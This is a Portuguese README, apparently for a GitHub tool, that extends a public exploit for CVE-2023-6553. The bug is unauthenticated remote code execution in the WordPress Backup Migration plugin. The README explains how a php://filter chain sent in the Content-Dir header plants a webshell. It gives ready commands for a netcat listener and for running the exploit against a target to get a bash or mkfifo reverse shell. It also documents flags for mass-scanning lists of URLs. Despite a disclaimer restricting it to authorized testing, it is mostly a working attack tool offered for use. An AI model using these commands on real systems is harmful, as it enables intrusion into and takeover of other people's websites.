
Este exploit é baseado no CVE-2023-6553 e foi construído sobre o exploit original por Chocapik, foi adicionado que um shell reverso direto pode ser obtido.
Uma versão estendida do exploit CVE-2023-6553 do Chocapikk que adiciona um modo de shell reverso com um único comando sobre o webshell interativo original.
CVE-2023-6553 — Execução Remota de Código Não Autenticada no plugin Backup Migration do WordPress (versões ≤ 1.3.7).
O plugin expõe backup-heart.php, que lê uma cadeia de filtros PHP do cabeçalho HTTP Content-Dir e a passa para include() sem autenticação ou sanitização. Isso permite que um atacante não autenticado execute código PHP arbitrário injetando uma cadeia php://filter manipulada.
Exploit original por Chocapikk — toda a lógica principal de exploração (geração da cadeia de filtros, escrita de arquivo, shell interativo) é trabalho dele. Este repositório apenas o estende com um modo de gatilho de shell reverso.
As únicas adições são:
trigger_reverse_shell() — após o webshell ser implantado (mesmo processo do original), envia uma única requisição GET com o comando do shell reverso como parâmetro 0, exatamente como o shell interativo faria.main() — substitui interactive_shell() por trigger_reverse_shell() quando -r está presente.Todo o resto — verificação de vulnerabilidade, loop de escrita de arquivo, cópia/desvinculação, modo interativo, varredura multi-URL — permanece inalterado do original.
pip install requests rich alive-progress prompt-toolkit php-filter-chain
# Start your listener first
rlwrap nc -lvnp 4444
# Run the exploit
python3 exploit.py -u http://TARGET/blog -r -l YOUR_IP -p 4444
Se bash /dev/tcp não estiver disponível no alvo, use mkfifo (depende do nc em vez disso):
python3 exploit.py -u http://TARGET/blog -r -l YOUR_IP -p 4444 --shell mkfifo
python3 exploit.py -u http://TARGET/blog
python3 exploit.py -u http://TARGET/blog -c
python3 exploit.py -f urls.txt -t 10 -o vulnerable.txt
-u / --url URL base do alvo (ex.: http://target/blog)
-r / --revshell Habilitar modo de shell reverso
-l / --lhost Seu IP para receber o shell (obrigatório com -r)
-p / --lport Porta do seu listener (padrão: 4444)
--shell Tipo de shell: bash (padrão) ou mkfifo
-c / --check Apenas verificar vulnerabilidade, não implantar shell
-f / --file Arquivo com lista de URLs para escanear
-t / --threads Threads para varredura multi-URL (padrão: 5)
-o / --output Arquivo de saída para resultados da varredura
1. POST /wp-content/plugins/backup-backup/includes/backup-heart.php
Content-Dir: php://filter/...<encoded PHP>
→ Writes webshell char by char to a temp file
→ Copies temp file to <random>.php
2. GET /wp-content/plugins/backup-backup/includes/<random>.php?0=<cmd>
→ Executes command via backtick operator
→ Interactive mode: loops reading commands from stdin
→ Reverse shell mode: sends bash/mkfifo one-liner, connects to listener
3. Cleanup: unlink(<random>.php)
Esta ferramenta é destinada apenas para testes de penetração autorizados e pesquisa de segurança. Não a utilize contra sistemas para os quais você não tenha permissão explícita para testar.
| Recurso | Original (Chocapikk) | Esta versão |
|---|
| Webshell interativo | ✅ | ✅ (inalterado) |
| Shell reverso | ❌ | ✅ (-r) |
| Varredura multi-URL | ✅ | ✅ (inalterado) |
| Novos argumentos | — | -r, -l, -p, --shell |